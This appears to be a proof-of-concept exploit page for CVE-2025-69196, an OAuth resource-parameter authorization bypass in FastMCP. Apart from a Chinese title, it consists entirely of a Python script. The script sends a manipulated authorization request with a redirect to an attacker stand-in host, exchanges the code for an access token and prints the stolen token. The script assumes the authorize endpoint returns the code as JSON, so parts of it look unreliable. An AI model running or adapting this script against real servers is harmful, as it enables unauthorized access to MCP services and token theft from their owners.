CVE-2025-69196 FastMCP OAuth资源参数授权绕过漏洞

import requests import json # CVE-2025-69196 PoC - FastMCP OAuth Authorization Bypass # This PoC demonstrates the resource parameter manipulation in OAuth flow def exploit_cve_2025_69196(target_url, attacker_controlled_url): """ Exploit FastMCP OAuth resource parameter bypass vulnerability Args: target_url: Target FastMCP server URL attacker_controlled_url: Attacker's controlled URL for token issuance """ # Step 1: Initiate OAuth authorization request with manipulated resource parameter auth_endpoint = f"{target_url}/oauth/authorize" # The vulnerable server will use attacker_controlled_url instead of the legitimate MCP server params = { 'response_type': 'code', 'client_id': 'fastmcp_client', 'redirect_uri': 'http://attacker.com/callback', 'scope': 'mcp_access', 'resource': attacker_controlled_url # Manipulated resource parameter } response = requests.get(auth_endpoint, params=params) # Step 2: The server incorrectly issues token for attacker_controlled_url # instead of the legitimate MCP server if response.status_code == 200: # Extract the authorization code auth_code = response.json().get('code') # Step 3: Exchange authorization code for access token token_endpoint = f"{target_url}/oauth/token" token_data = { 'grant_type': 'authorization_code', 'code': auth_code, 'client_id': 'fastmcp_client', 'redirect_uri': 'http://attacker.com/callback' } token_response = requests.post(token_endpoint, data=token_data) if token_response.status_code == 200: access_token = token_response.json().get('access_token') print(f"[!] Successfully obtained access token for manipulated resource") print(f"[*] Token: {access_token}") return access_token return None # Example usage if __name__ == "__main__": target = "https://vulnerable-fastmcp-server.com" attacker_url = "https://attacker-controlled-site.com/fake-mcp" token = exploit_cve_2025_69196(target, attacker_url) if token: print("[+] Exploitation successful - OAuth token issued for wrong resource")